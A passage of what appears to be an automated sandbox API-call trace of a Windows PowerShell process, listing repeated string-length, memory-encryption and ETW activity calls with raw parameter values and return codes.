(param_1="\xe1da\x8b6\xe8b1\x1bbb\x86b8\x4cd5\x8765\x124a\x62c6\xabd6\xf055\xff0e\x8180\x28e5\xf3a5\xf1d0\xcb61\xfcc8\xa176\x97a5\x866c\xabe0\x442f\xaa3f\xb530\x3d97\xd748\x6afe\xa143\x8687\x58be\x6d23\x88ac\x390e\xc32c\x2fd1\x272f\xce09\xbc4b\xb44e") returned 0x28 [0139.139] SysStringLen (param_1="\xe1da\x8b6\xe8b1\x1bbb\x86b8\x4cd5\x8765\x124a\x62c6\xabd6\xf055\xff0e\x8180\x28e5\xf3a5\xf1d0\xcb61\xfcc8\xa176\x97a5\x866c\xabe0\x442f\xaa3f\xb530\x3d97\xd748\x6afe\xa143\x8687\x58be\x6d23\x88ac\x390e\xc32c\x2fd1\x272f\xce09\xbc4b\xb44e") returned 0x30 [0139.139] SystemFunction041 (in: Memory=0x8e3146c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3146c) returned 0x0 [0139.139] SysStringLen (param_1="1k0N8VpnsHhT/2GrjmrkABz9lA/hZ3Qqmzdm7K1C3㤤끤⻗聆蒝") returned 0x30 [0139.139] SystemFunction040 (in: Memory=0x8e3146c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3146c) returned 0x0 [0139.139] SysStringLen (param_1="\xe1da\x8b6\xe8b1\x1bbb\x86b8\x4cd5\x8765\x124a\x62c6\xabd6\xf055\xff0e\x8180\x28e5\xf3a5\xf1d0\xcb61\xfcc8\xa176\x97a5\x866c\xabe0\x442f\xaa3f\xb530\x3d97\xd748\x6afe\xa143\x8687\x58be\x6d23\x88ac\x390e\xc32c\x2fd1\x272f\xce09\xbc4b\xb44e\xb63f\x3cbc\x430a\x8705\xce1c\x892d\x94cf\x66c2") returned 0x30 [0139.139] SysStringLen (param_1="\xe1da\x8b6\xe8b1\x1bbb\x86b8\x4cd5\x8765\x124a\x62c6\xabd6\xf055\xff0e\x8180\x28e5\xf3a5\xf1d0\xcb61\xfcc8\xa176\x97a5\x866c\xabe0\x442f\xaa3f\xb530\x3d97\xd748\x6afe\xa143\x8687\x58be\x6d23\x88ac\x390e\xc32c\x2fd1\x272f\xce09\xbc4b\xb44e\xb63f\x3cbc\x430a\x8705\xce1c\x892d\x94cf\x66c2") returned 0x30 [0139.139] SystemFunction041 (in: Memory=0x8e3146c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3146c) returned 0x0 [0139.140] SysStringLen (param_1="1k0N8VpnsHhT/2GrjmrkABz9lA/hZ3Qqmzdm7K1C3v끤⻗聆蒝") returned 0x30 [0139.140] SystemFunction040 (in: Memory=0x8e3146c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3146c) returned 0x0 [0139.140] SysStringLen (param_1="\xe1da\x8b6\xe8b1\x1bbb\x86b8\x4cd5\x8765\x124a\x62c6\xabd6\xf055\xff0e\x8180\x28e5\xf3a5\xf1d0\xcb61\xfcc8\xa176\x97a5\x866c\xabe0\x442f\xaa3f\xb530\x3d97\xd748\x6afe\xa143\x8687\x58be\x6d23\x88ac\x390e\xc32c\x2fd1\x272f\xce09\xbc4b\xb44e\xa52\x5434\x956e\xb1e4\x233b\x6c86\xe45f\x2df9") returned 0x30 [0139.140] SysStringLen (param_1="\xe1da\x8b6\xe8b1\x1bbb\x86b8\x4cd5\x8765\x124a\x62c6\xabd6\xf055\xff0e\x8180\x28e5\xf3a5\xf1d0\xcb61\xfcc8\xa176\x97a5\x866c\xabe0\x442f\xaa3f\xb530\x3d97\xd748\x6afe\xa143\x8687\x58be\x6d23\x88ac\x390e\xc32c\x2fd1\x272f\xce09\xbc4b\xb44e\xa52\x5434\x956e\xb1e4\x233b\x6c86\xe45f\x2df9") returned 0x30 [0139.140] SystemFunction041 (in: Memory=0x8e3146c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3146c) returned 0x0 [0139.140] SysStringLen (param_1="1k0N8VpnsHhT/2GrjmrkABz9lA/hZ3Qqmzdm7K1C3v8⻗聆蒝") returned 0x30 [0139.140] SystemFunction040 (in: Memory=0x8e3146c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3146c) returned 0x0 [0139.140] SysStringLen (param_1="\xe1da\x8b6\xe8b1\x1bbb\x86b8\x4cd5\x8765\x124a\x62c6\xabd6\xf055\xff0e\x8180\x28e5\xf3a5\xf1d0\xcb61\xfcc8\xa176\x97a5\x866c\xabe0\x442f\xaa3f\xb530\x3d97\xd748\x6afe\xa143\x8687\x58be\x6d23\x88ac\x390e\xc32c\x2fd1\x272f\xce09\xbc4b\xb44e\xb1d\x28b4\x235b\x1e8d\x5ac1\xb6b3\x4e9c\x6b36") returned 0x30 [0139.140] SysStringLen (param_1="\xe1da\x8b6\xe8b1\x1bbb\x86b8\x4cd5\x8765\x124a\x62c6\xabd6\xf055\xff0e\x8180\x28e5\xf3a5\xf1d0\xcb61\xfcc8\xa176\x97a5\x866c\xabe0\x442f\xaa3f\xb530\x3d97\xd748\x6afe\xa143\x8687\x58be\x6d23\x88ac\x390e\xc32c\x2fd1\x272f\xce09\xbc4b\xb44e\xb1d\x28b4\x235b\x1e8d\x5ac1\xb6b3\x4e9c\x6b36") returned 0x30 [0139.140] SystemFunction041 (in: Memory=0x8e3146c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3146c) returned 0x0 [0139.140] SysStringLen (param_1="1k0N8VpnsHhT/2GrjmrkABz9lA/hZ3Qqmzdm7K1C3v8=聆蒝") returned 0x30 [0139.140] SystemFunction040 (in: Memory=0x8e3146c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3146c) returned 0x0 [0139.140] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa2, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.140] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeacc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeacc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa2, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.141] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa1, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa1, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.141] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae604, nSize=0x100 | out: lpBuffer="\x9fcb\x72b0\xadb8\x667\x1082\x73b6\xbab0\x42f\x108e\x73b6\xe63c\x99a\xc37\x72b2\xadb8\x667\x0b") returned 0x0 [0139.141] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9dc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa3, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.141] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae93c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae93c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa1, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.141] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa3, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa3, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.141] SysStringLen (param_1="") returned 0x8 [0139.141] SysStringLen (param_1="Y") returned 0x8 [0139.141] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.141] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0139.141] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0139.141] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.141] SysStringLen (param_1="YW") returned 0x8 [0139.142] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.142] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0139.142] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0139.142] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.142] SysStringLen (param_1="YWM") returned 0x8 [0139.142] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.142] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0139.142] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0139.142] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.142] SysStringLen (param_1="YWM1") returned 0x8 [0139.142] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.142] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0139.142] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0139.142] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.142] SysStringLen (param_1="YWM1O") returned 0x8 [0139.142] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.143] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0139.143] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0139.143] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.143] SysStringLen (param_1="YWM1OT") returned 0x8 [0139.143] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.143] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0139.143] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0139.143] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.143] SysStringLen (param_1="YWM1OTE") returned 0x8 [0139.143] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.143] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0139.143] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0139.143] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.144] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0139.144] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.144] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0139.144] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0139.144] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0139.144] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0139.144] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.144] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0139.144] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.144] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0139.144] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0139.144] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.144] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0139.144] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.144] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0139.144] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0139.144] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.145] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0139.145] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.145] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0139.145] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0139.145] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.145] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0139.145] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.145] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0139.145] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0139.145] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.145] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0139.145] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.145] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0139.145] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0139.145] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.145] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0139.146] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.146] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0139.146] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0139.146] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.146] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0139.146] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.146] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0139.146] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0139.146] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.146] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0139.146] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.146] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0139.146] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0139.146] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0139.146] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0139.146] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.147] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0139.147] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.147] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0139.147] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0139.147] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.147] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0139.147] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.147] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0139.147] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0139.147] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.147] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0139.147] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.147] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0139.147] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0139.147] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.147] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0139.147] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.148] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0139.148] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0139.148] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.148] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0139.148] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.148] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0139.148] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0139.148] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.148] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0139.148] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.148] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0139.148] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0139.148] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.148] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0139.148] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.148] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0139.149] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0139.149] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.149] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0139.149] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.149] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0139.149] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0139.149] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0139.149] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0139.149] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.149] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0139.149] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.149] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0139.149] SysStringLen 